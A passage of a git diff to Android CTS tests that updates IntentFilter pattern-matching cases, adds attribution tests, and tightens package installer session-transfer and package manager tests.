import static android.content.IntentFilter.MATCH_CATEGORY_SCHEME_SPECIFIC_PART;
import static android.content.IntentFilter.MATCH_CATEGORY_TYPE;
import static android.content.IntentFilter.NO_MATCH_DATA;
+import static android.os.PatternMatcher.PATTERN_ADVANCED_GLOB;
import static android.os.PatternMatcher.PATTERN_LITERAL;
import static android.os.PatternMatcher.PATTERN_PREFIX;
import static android.os.PatternMatcher.PATTERN_SIMPLE_GLOB;
+import static android.os.PatternMatcher.PATTERN_SUFFIX;
import android.content.ComponentName;
import android.content.ContentResolver;
@@ -397,25 +399,38 @@
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:ssp"),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp12"));
filter = new Match(null, null, null, new String[]{"scheme"},
- null, null, null, null, new String[]{"ssp.*"},
- new int[]{PATTERN_SIMPLE_GLOB});
+ null, null, null, null, new String[]{"p1", "sp", ".file"},
+ new int[]{PATTERN_SUFFIX, PATTERN_SUFFIX, PATTERN_SUFFIX});
checkMatches(filter,
MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp1"),
+ MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:2ssp"),
+ MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:something.file"),
+ MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp"),
+ MatchCondition.data(NO_MATCH_DATA, "scheme:ssp12"));
+ checkMatches(new IntentFilter[]{
+ filterForSchemeAndSchemeSpecificPart("scheme", "ssp.*",
+ PATTERN_ADVANCED_GLOB),
+ filterForSchemeAndSchemeSpecificPart("scheme", "ssp.*",
+ PATTERN_SIMPLE_GLOB)},
+ MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
+ MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp1"),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp"),
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:ss"));
- filter = new Match(null, null, null, new String[]{"scheme"},
- null, null, null, null, new String[]{".*"},
- new int[]{PATTERN_SIMPLE_GLOB});
- checkMatches(filter,
+ checkMatches(new IntentFilter[]{
+ filterForSchemeAndSchemeSpecificPart("scheme", ".*",
+ PATTERN_ADVANCED_GLOB),
+ filterForSchemeAndSchemeSpecificPart("scheme", ".*",
+ PATTERN_SIMPLE_GLOB)},
MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp1"),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp"),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:"));
- filter = new Match(null, null, null, new String[]{"scheme"},
- null, null, null, null, new String[]{"a1*b"},
- new int[]{PATTERN_SIMPLE_GLOB});
- checkMatches(filter,
+ checkMatches(new IntentFilter[]{
+ filterForSchemeAndSchemeSpecificPart("scheme", "a1*b",
+ PATTERN_ADVANCED_GLOB),
+ filterForSchemeAndSchemeSpecificPart("scheme", "a1*b",
+ PATTERN_SIMPLE_GLOB)},
MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ab"),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a1b"),
@@ -423,10 +438,11 @@
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a2b"),
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a1bc"),
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a"));
- filter = new Match(null, null, null, new String[]{"scheme"},
- null, null, null, null, new String[]{"a1*"},
- new int[]{PATTERN_SIMPLE_GLOB});
- checkMatches(filter,
+ checkMatches(new IntentFilter[]{
+ filterForSchemeAndSchemeSpecificPart("scheme", "a1*",
+ PATTERN_ADVANCED_GLOB),
+ filterForSchemeAndSchemeSpecificPart("scheme", "a1*",
+ PATTERN_SIMPLE_GLOB)},
MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a1"),
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:ab"),
@@ -434,10 +450,11 @@
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a1b"),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a11"),
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a2"));
- filter = new Match(null, null, null, new String[]{"scheme"},
- null, null, null, null, new String[]{"a\\.*b"},
- new int[]{PATTERN_SIMPLE_GLOB});
- checkMatches(filter,
+ checkMatches(new IntentFilter[]{
+ filterForSchemeAndSchemeSpecificPart("scheme", "a\\.*b",
+ PATTERN_ADVANCED_GLOB),
+ filterForSchemeAndSchemeSpecificPart("scheme", "a\\.*b",
+ PATTERN_SIMPLE_GLOB)},
MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ab"),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.b"),
@@ -445,10 +462,11 @@
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a2b"),
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a.bc"),
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:"));
- filter = new Match(null, null, null, new String[]{"scheme"},
- null, null, null, null, new String[]{"a.*b"},
- new int[]{PATTERN_SIMPLE_GLOB});
- checkMatches(filter,
+ checkMatches(new IntentFilter[]{
+ filterForSchemeAndSchemeSpecificPart("scheme", "a[.1-2]*b",
+ PATTERN_ADVANCED_GLOB),
+ filterForSchemeAndSchemeSpecificPart("scheme", "a.*b",
+ PATTERN_SIMPLE_GLOB)},
MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ab"),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.b"),
@@ -456,10 +474,11 @@
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a2b"),
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a.bc"),
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:"));
- filter = new Match(null, null, null, new String[]{"scheme"},
- null, null, null, null, new String[]{"a.*"},
- new int[]{PATTERN_SIMPLE_GLOB});
- checkMatches(filter,
+ checkMatches(new IntentFilter[]{
+ filterForSchemeAndSchemeSpecificPart("scheme", "a.*",
+ PATTERN_ADVANCED_GLOB),
+ filterForSchemeAndSchemeSpecificPart("scheme", "a.*",
+ PATTERN_SIMPLE_GLOB)},
MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ab"),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.b"),
@@ -467,10 +486,11 @@
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a2b"),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.bc"),
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:"));
- filter = new Match(null, null, null, new String[]{"scheme"},
- null, null, null, null, new String[]{"a.\\*b"},
- new int[]{PATTERN_SIMPLE_GLOB});
- checkMatches(filter,
+ checkMatches(new IntentFilter[]{
+ filterForSchemeAndSchemeSpecificPart("scheme", "a.\\*b",
+ PATTERN_ADVANCED_GLOB),
+ filterForSchemeAndSchemeSpecificPart("scheme", "a.\\*b",
+ PATTERN_SIMPLE_GLOB)},
MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:ab"),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.*b"),
@@ -478,10 +498,11 @@
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a2b"),
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a.bc"),
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:"));
- filter = new Match(null, null, null, new String[]{"scheme"},
- null, null, null, null, new String[]{"a.\\*"},
- new int[]{PATTERN_SIMPLE_GLOB});
- checkMatches(filter,
+ checkMatches(new IntentFilter[]{
+ filterForSchemeAndSchemeSpecificPart("scheme", "a.\\*",
+ PATTERN_ADVANCED_GLOB),
+ filterForSchemeAndSchemeSpecificPart("scheme", "a.\\*",
+ PATTERN_SIMPLE_GLOB)},
MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:ab"),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.*"),
@@ -489,6 +510,12 @@
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a1b"));
}
+ private Match filterForSchemeAndSchemeSpecificPart(String scheme, String ssp, int matchType) {
+ return new Match(null, null, null, new String[]{scheme},
+ null, null, null, null, new String[]{ssp},
+ new int[]{matchType});
+ }
+
public void testSchemeSpecificPartsWithWildCards() throws Exception {
IntentFilter filter = new Match(null, null, null, new String[]{"scheme"},
null, null, null, null, new String[]{"ssp1"},
@@ -1111,6 +1138,25 @@
}
mIntentFilter = new IntentFilter();
+ for (i = 0; i < 10; i++) {
+ mIntentFilter.addDataPath(DATA_PATH + i, PatternMatcher.PATTERN_SUFFIX);
+ }
+ assertEquals(10, mIntentFilter.countDataPaths());
+ iter = mIntentFilter.pathsIterator();
+ i = 0;
+ while (iter.hasNext()) {
+ actual = iter.next();
+ assertEquals(DATA_PATH + i, actual.getPath());
+ assertEquals(PatternMatcher.PATTERN_SUFFIX, actual.getType());
+ PatternMatcher p = new PatternMatcher(DATA_PATH + i, PatternMatcher.PATTERN_SUFFIX);
+ assertEquals(p.getPath(), mIntentFilter.getDataPath(i).getPath());
+ assertEquals(p.getType(), mIntentFilter.getDataPath(i).getType());
+ assertTrue(mIntentFilter.hasDataPath(DATA_PATH + i));
+ assertTrue(mIntentFilter.hasDataPath("a" + DATA_PATH + i));
+ i++;
+ }
+
+ mIntentFilter = new IntentFilter();
i = 0;
for (i = 0; i < 10; i++) {
mIntentFilter.addDataPath(DATA_PATH + i, PatternMatcher.PATTERN_LITERAL);
@@ -1150,6 +1196,26 @@
i++;
}
+ mIntentFilter = new IntentFilter();
+ for (i = 0; i < 10; i++) {
+ mIntentFilter.addDataPath(DATA_PATH + i, PatternMatcher.PATTERN_ADVANCED_GLOB);
+ }
+ assertEquals(10, mIntentFilter.countDataPaths());
+ iter = mIntentFilter.pathsIterator();
+ i = 0;
+ while (iter.hasNext()) {
+ actual = iter.next();
+ assertEquals(DATA_PATH + i, actual.getPath());
+ assertEquals(PatternMatcher.PATTERN_ADVANCED_GLOB, actual.getType());
+ PatternMatcher p = new PatternMatcher(DATA_PATH + i,
+ PatternMatcher.PATTERN_ADVANCED_GLOB);
+ assertEquals(p.getPath(), mIntentFilter.getDataPath(i).getPath());
+ assertEquals(p.getType(), mIntentFilter.getDataPath(i).getType());
+ assertTrue(mIntentFilter.hasDataPath(DATA_PATH + i));
+ assertFalse(mIntentFilter.hasDataPath(DATA_PATH + i + 10));
+ i++;
+ }
+
IntentFilter filter = new Match(null, null, null, new String[]{"scheme1"},
new String[]{"authority1"}, new String[]{null});
checkMatches(filter,
@@ -1448,6 +1514,12 @@
}
}
+ private static void checkMatches(IntentFilter[] filters, MatchCondition... results) {
+ for (IntentFilter filter : filters) {
+ checkMatches(filter, results);
+ }
+ }
+
private static void checkMatches(IntentFilter filter, MatchCondition... results) {
for (int i = 0; i < results.length; i++) {
MatchCondition mc = results[i];
@@ -1522,6 +1594,24 @@
MatchCondition.data(
IntentFilter.MATCH_CATEGORY_PATH, "scheme://authority/literal12"));
filter = new Match(null, null, null,
+ new String[]{"scheme"}, new String[]{"authority"}, null,
+ new String[]{"literal1", "2literal"}, new int[]{PATTERN_SUFFIX, PATTERN_SUFFIX});
+ checkMatches(filter,
+ MatchCondition.data(
+ IntentFilter.NO_MATCH_DATA, null),
+ MatchCondition.data(
+ IntentFilter.MATCH_CATEGORY_PATH, "scheme://authority/aliteral1"),
+ MatchCondition.data(
+ IntentFilter.MATCH_CATEGORY_PATH, "scheme://authority/2literal"),
+ MatchCondition.data(
+ IntentFilter.NO_MATCH_DATA, "scheme://authority/literal"),
+ MatchCondition.data(
+ IntentFilter.MATCH_CATEGORY_PATH, "scheme://authority/literal1"),
+ MatchCondition.data(
+ IntentFilter.MATCH_CATEGORY_PATH, "scheme://authority/2literal1"),
+ MatchCondition.data(
+ IntentFilter.NO_MATCH_DATA, "scheme://authority/literal1a"));
+ filter = new Match(null, null, null,
new String[]{"scheme"}, new String[]{"authority"}, null, new String[]{"/.*"},
new int[]{PATTERN_SIMPLE_GLOB});
checkMatches(filter,
diff --git a/tests/tests/content/src/android/content/cts/wm/OWNERS b/tests/tests/content/src/android/content/cts/wm/OWNERS
new file mode 100644
index 0000000..940ab87
--- /dev/null
+++ b/tests/tests/content/src/android/content/cts/wm/OWNERS
@@ -0,0 +1,2 @@
+include /tests/framework/base/windowmanager/OWNERS
+charlesccchen@google.com
diff --git a/tests/tests/content/src/android/content/pm/cts/AttributionTest.java b/tests/tests/content/src/android/content/pm/cts/AttributionTest.java
new file mode 100644
index 0000000..c1354f7
--- /dev/null
+++ b/tests/tests/content/src/android/content/pm/cts/AttributionTest.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.pm.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
+import android.content.Context;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test {@link Attribution}.
+ */
+@AppModeFull // TODO(Instant) Figure out which APIs should work.
+@RunWith(AndroidJUnit4.class)
+public class AttributionTest {
+
+ private static final String PACKAGE_NAME = "android.content.cts";
+ private static final String[] TAGS =
+ new String[] { "attribution_tag_one", "attribution_tag_two" };
+ private static final String[] LABELS =
+ new String[] { "attribution label one", "attribution label two" };
+ private static final boolean[] SHOULD_SHOW = new boolean[] { false, true };
+ private static final int NUM_ATTRIBUTIONS = 2;
+
+ private static Context sContext = InstrumentationRegistry.getInstrumentation().getContext();
+
+ @Test
+ public void dontGetAttributions() throws Exception {
+ PackageInfo packageInfo = sContext.getPackageManager().getPackageInfo(PACKAGE_NAME, 0);
+ assertNotNull(packageInfo);
+ assertNull(packageInfo.attributions);
+ }
+
+ @Test
+ public void getAttributionsAndVerify() throws Exception {
+ PackageInfo packageInfo = sContext.getPackageManager().getPackageInfo(PACKAGE_NAME,
+ PackageManager.GET_ATTRIBUTIONS);
+ assertNotNull(packageInfo);
+ assertNotNull(packageInfo.attributions);
+ assertEquals(packageInfo.attributions.length, NUM_ATTRIBUTIONS);
+ for (int i = 0; i < NUM_ATTRIBUTIONS; i++) {
+ assertEquals(packageInfo.attributions[i].getTag(), TAGS[i]);
+ assertEquals(sContext.getString(packageInfo.attributions[i].getLabel()), LABELS[i]);
+ }
+ }
+}
diff --git a/tests/tests/content/src/android/content/pm/cts/InstallSessionTransferTest.java b/tests/tests/content/src/android/content/pm/cts/InstallSessionTransferTest.java
index a8f96af..57c7907 100644
--- a/tests/tests/content/src/android/content/pm/cts/InstallSessionTransferTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/InstallSessionTransferTest.java
@@ -18,8 +18,14 @@
import static android.content.pm.PackageInstaller.SessionParams.MODE_FULL_INSTALL;
+import static com.android.compatibility.common.util.MatcherUtils.assertThrows;
+import static com.android.compatibility.common.util.MatcherUtils.hasMessageThat;
+import static com.android.compatibility.common.util.MatcherUtils.instanceOf;
+
import static com.google.common.truth.Truth.assertThat;
+import static org.hamcrest.CoreMatchers.containsString;
+import static org.hamcrest.CoreMatchers.notNullValue;
import static org.junit.Assert.fail;
import static org.junit.Assume.assumeNotNull;
@@ -45,7 +51,6 @@
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
@@ -87,7 +92,7 @@
*/
private static String getPackageInstallerPackageName() throws Exception {
Intent installerIntent = new Intent(Intent.ACTION_INSTALL_PACKAGE);
- installerIntent.setDataAndType(Uri.fromFile(new File("foo.apk")),
+ installerIntent.setDataAndType(Uri.parse("content://com.example/"),
"application/vnd.android.package-archive");
ResolveInfo installer = InstrumentationRegistry.getInstrumentation().getTargetContext()
@@ -224,13 +229,47 @@
assumeNotNull(packageInstallerPackage);
session.openWrite("danglingWriteStream", 0, 1);
- try {
- // This will fail as the danglingWriteStream is still open
- session.transfer(packageInstallerPackage);
- fail();
- } catch (SecurityException e) {
- // Expected
- }
+
+ // This will fail as the danglingWriteStream is still open
+ assertThrows(instanceOf(IllegalStateException.class,
+ hasMessageThat(containsString("Package is not valid"))),
+ () -> session.transfer(packageInstallerPackage));
+
+ session.abandon();
+ }
+
+ @Test
+ public void transfer_toNullPackageName_shouldFail() throws Exception {
+ Session session = createSession();
+ String packageInstallerPackage = getPackageInstallerPackageName();
+ assumeNotNull(packageInstallerPackage);
+
+ assertThrows(instanceOf(IllegalArgumentException.class, notNullValue()),
+ () -> session.transfer(null));
+
+ session.abandon();
+ }
+
+ @Test
+ public void transfer_toEmptyStringPackageName_shouldFail() throws Exception {
+ Session session = createSession();
+ String packageInstallerPackage = getPackageInstallerPackageName();
+ assumeNotNull(packageInstallerPackage);
+
+ assertThrows(instanceOf(IllegalArgumentException.class, notNullValue()),
+ () -> session.transfer(""));
+
+ session.abandon();
+ }
+
+ @Test
+ public void transfer_toInvalidPackageName_shouldFail() throws Exception {
+ Session session = createSession();
+ String packageInstallerPackage = getPackageInstallerPackageName();
+ assumeNotNull(packageInstallerPackage);
+
+ assertThrows(instanceOf(PackageManager.NameNotFoundException.class, notNullValue()),
+ () -> session.transfer("../" + packageInstallerPackage));
session.abandon();
}
@@ -246,15 +285,13 @@
out.flush();
}
- try {
- // This will fail as the content of 'invalid' is not a valid APK
- session.transfer(packageInstallerPackage);
- fail();
- } catch (IllegalArgumentException e) {
- // expected
- }
+ // This will pass even the content of 'invalid' is not a valid APK
+ session.transfer(packageInstallerPackage);
- session.abandon();
+ // The session transfers successfully. And then, it doesn't belong to the this test.
+ assertThrows(instanceOf(SecurityException.class,
+ hasMessageThat(containsString("Session does not belong to uid"))),
+ () -> session.abandon());
}
@Test
@@ -263,16 +300,14 @@
String packageInstallerPackage = getPackageInstallerPackageName();
assumeNotNull(packageInstallerPackage);
- writeApk(session, "CtsContentEmptyTestApp");
+ writeApk(session, "CtsContentLongPackageNameTestApp");
- try {
- // This will fail as the session contains the a apk from the wrong package
- session.transfer(packageInstallerPackage);
- fail();
- } catch (SecurityException e) {
- // expected
- }
+ // This will pass even package name is too long
+ session.transfer(packageInstallerPackage);
- session.abandon();
+ // The session transfers successfully. And then, it doesn't belong to the this test.
+ assertThrows(instanceOf(SecurityException.class,
+ hasMessageThat(containsString("Session does not belong to uid"))),
+ () -> session.abandon());
}
}
diff --git a/tests/tests/content/src/android/content/pm/cts/LauncherAppsTest.java b/tests/tests/content/src/android/content/pm/cts/LauncherAppsTest.java
index 9635216..b434c21 100644
--- a/tests/tests/content/src/android/content/pm/cts/LauncherAppsTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/LauncherAppsTest.java
@@ -226,7 +226,7 @@
SystemUtil.runWithShellPermissionIdentity(() ->
mUsageStatsManager.registerAppUsageLimitObserver(
observerId, SETTINGS_PACKAGE_GROUP, timeLimit, timeUsed,
- PendingIntent.getActivity(mContext, -1, new Intent(), 0)));
+ PendingIntent.getActivity(mContext, -1, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED)));
}
private void unregisterObserver(int observerId) {
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageInfoTest.java b/tests/tests/content/src/android/content/pm/cts/PackageInfoTest.java
index 7a524c4..facc981 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageInfoTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageInfoTest.java
@@ -19,6 +19,7 @@
import static org.junit.Assert.assertArrayEquals;
import android.content.pm.ApplicationInfo;
+import android.content.pm.Attribution;
import android.content.pm.ComponentInfo;
import android.content.pm.ConfigurationInfo;
import android.content.pm.PackageInfo;
@@ -46,8 +47,8 @@
| PackageManager.GET_GIDS | PackageManager.GET_CONFIGURATIONS
| PackageManager.GET_INSTRUMENTATION | PackageManager.GET_PERMISSIONS
| PackageManager.GET_PROVIDERS | PackageManager.GET_RECEIVERS
- | PackageManager.GET_SERVICES | PackageManager.GET_SIGNATURES
- | PackageManager.GET_UNINSTALLED_PACKAGES);
+ | PackageManager.GET_SERVICES | PackageManager.GET_ATTRIBUTIONS
+ | PackageManager.GET_SIGNATURES | PackageManager.GET_UNINSTALLED_PACKAGES);
}
public void testPackageInfoOp() {
@@ -100,6 +101,7 @@
assertTrue(Arrays.equals(expected.requestedPermissions, actual.requestedPermissions));
checkSignatureInfo(expected.signatures, actual.signatures);
checkConfigInfo(expected.configPreferences, actual.configPreferences);
+ checkAttributionInfo(expected.attributions, actual.attributions);
}
private void checkAppInfo(ApplicationInfo expected, ApplicationInfo actual) {
@@ -163,4 +165,19 @@
assertEquals(0, actual.length);
}
}
+
+ private void checkAttributionInfo(Attribution[] expected, Attribution[] actual) {
+ if (expected != null && expected.length > 0) {
+ assertNotNull(actual);
+ assertEquals(expected.length, actual.length);
+ for (int i = 0; i < expected.length; i++) {
+ assertEquals(actual[i].getTag(), expected[i].getTag());
+ assertEquals(actual[i].getTag(), expected[i].getTag());
+ }
+ } else if (expected == null) {
+ assertNull(actual);
+ } else {
+ assertEquals(0, actual.length);
+ }
+ }
}
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerGetPropertyTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerGetPropertyTest.java
index d8a4756..8123ffe 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerGetPropertyTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerGetPropertyTest.java
@@ -29,6 +29,7 @@
import android.content.pm.PackageManager;
import android.content.pm.PackageManager.NameNotFoundException;
import android.content.pm.PackageManager.Property;
+import android.platform.test.annotations.AppModeFull;
import androidx.test.InstrumentationRegistry;
@@ -46,6 +47,7 @@
import java.util.Objects;
@RunWith(JUnit4.class)
+@AppModeFull(reason = "Instant applications cannot install other packages")
public class PackageManagerGetPropertyTest {
private static PackageManager sPackageManager;
private static final String PROPERTY_APP1_PACKAGE_NAME = "com.android.cts.packagepropertyapp1";
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerQueryPropertyTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerQueryPropertyTest.java
index 3dcfb96..9a2e310 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerQueryPropertyTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerQueryPropertyTest.java
@@ -25,6 +25,7 @@
import android.Manifest;
import android.content.pm.PackageManager;
import android.content.pm.PackageManager.Property;
+import android.platform.test.annotations.AppModeFull;
import androidx.test.InstrumentationRegistry;
@@ -43,6 +44,7 @@
import java.util.Objects;
@RunWith(JUnit4.class)
+@AppModeFull(reason = "Instant applications cannot install other packages")
public class PackageManagerQueryPropertyTest {
private static PackageManager sPackageManager;
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
index b3e0fff..410054f 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
@@ -213,8 +213,7 @@
String commandResult = executeShellCommand("pm " + mInstall + " -t -g -S " + file.length(),
new File[]{});
if (mIncremental) {
- assertEquals("Failure [INSTALL_FAILED_MEDIA_UNAVAILABLE: Failed to prepare image.]\n",
- commandResult);
+ assertTrue(commandResult, commandResult.startsWith("Failure ["));
} else {
assertTrue(commandResult,
commandResult.startsWith("Failure [INSTALL_PARSE_FAILED_NOT_APK"));
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
index cc867e0..3aa6ade 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
@@ -42,6 +42,7 @@
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
import static org.junit.Assume.assumeTrue;
import static org.testng.Assert.assertThrows;
@@ -988,13 +989,8 @@
@Test
public void testGetPackageInfo_ApexSupported_ApexPackage_MatchesApex() throws Exception {
- // This really should be a assumeTrue(isUpdatingApexSupported()), but JUnit3 doesn't support
- // assumptions framework.
- // TODO: change to assumeTrue after migrating tests to JUnit4.
- if (!isUpdatingApexSupported()) {
- Log.i(TAG, "Device doesn't support updating APEX");
- return;
- }
+ assumeTrue("Device doesn't support updating APEX", isUpdatingApexSupported());
+
PackageInfo packageInfo = mPackageManager.getPackageInfo(SHIM_APEX_PACKAGE_NAME,
PackageManager.MATCH_APEX | PackageManager.MATCH_FACTORY_ONLY);
assertShimApexInfoIsCorrect(packageInfo);
@@ -1002,13 +998,8 @@
@Test
public void testGetPackageInfo_ApexSupported_ApexPackage_DoesNotMatchApex() {
- // This really should be a assumeTrue(isUpdatingApexSupported()), but JUnit3 doesn't support
- // assumptions framework.
- // TODO: change to assumeTrue after migrating tests to JUnit4.
- if (!isUpdatingApexSupported()) {
- Log.i(TAG, "Device doesn't support updating APEX");
- return;
- }
+ assumeTrue("Device doesn't support updating APEX", isUpdatingApexSupported());
+
try {
mPackageManager.getPackageInfo(SHIM_APEX_PACKAGE_NAME, 0 /* flags */);
fail("NameNotFoundException expected");
@@ -1018,10 +1009,8 @@
@Test
public void testGetPackageInfo_ApexNotSupported_ApexPackage_MatchesApex() {
- if (isUpdatingApexSupported()) {
- Log.i(TAG, "Device supports updating APEX");
- return;
- }
+ assumeFalse("Device supports updating APEX", isUpdatingApexSupported());
+
try {
mPackageManager.getPackageInfo(SHIM_APEX_PACKAGE_NAME, PackageManager.MATCH_APEX);
fail("NameNotFoundException expected");
@@ -1031,10 +1020,8 @@
@Test
public void testGetPackageInfo_ApexNotSupported_ApexPackage_DoesNotMatchApex() {
- if (isUpdatingApexSupported()) {
- Log.i(TAG, "Device supports updating APEX");
- return;
- }
+ assumeFalse("Device supports updating APEX", isUpdatingApexSupported());
+
try {
mPackageManager.getPackageInfo(SHIM_APEX_PACKAGE_NAME, 0);
fail("NameNotFoundException expected");
@@ -1044,10 +1031,8 @@
@Test
public void testGetInstalledPackages_ApexSupported_MatchesApex() {
- if (!isUpdatingApexSupported()) {
- Log.i(TAG, "Device doesn't support updating APEX");
- return;
- }
+ assumeTrue("Device doesn't support updating APEX", isUpdatingApexSupported());
+
List<PackageInfo> installedPackages = mPackageManager.getInstalledPackages(
PackageManager.MATCH_APEX | PackageManager.MATCH_FACTORY_ONLY);
List<PackageInfo> shimApex = installedPackages.stream().filter(
@@ -1059,10 +1044,8 @@
@Test
public void testGetInstalledPackages_ApexSupported_DoesNotMatchApex() {
- if (!isUpdatingApexSupported()) {
- Log.i(TAG, "Device doesn't support updating APEX");
- return;
- }
+ assumeTrue("Device doesn't support updating APEX", isUpdatingApexSupported());
+
List<PackageInfo> installedPackages = mPackageManager.getInstalledPackages(0);
List<PackageInfo> shimApex = installedPackages.stream().filter(
packageInfo -> packageInfo.packageName.equals(SHIM_APEX_PACKAGE_NAME)).collect(
@@ -1072,10 +1055,8 @@
@Test
public void testGetInstalledPackages_ApexNotSupported_MatchesApex() {
- if (isUpdatingApexSupported()) {
- Log.i(TAG, "Device supports updating APEX");
- return;
- }
+ assumeFalse("Device supports updating APEX", isUpdatingApexSupported());
+
List<PackageInfo> installedPackages = mPackageManager.getInstalledPackages(
PackageManager.MATCH_APEX);
List<PackageInfo> shimApex = installedPackages.stream().filter(
@@ -1086,10 +1067,8 @@
@Test
public void testGetInstalledPackages_ApexNotSupported_DoesNotMatchApex() {
- if (isUpdatingApexSupported()) {
- Log.i(TAG, "Device supports updating APEX");
- return;
- }
+ assumeFalse("Device supports updating APEX", isUpdatingApexSupported());
+
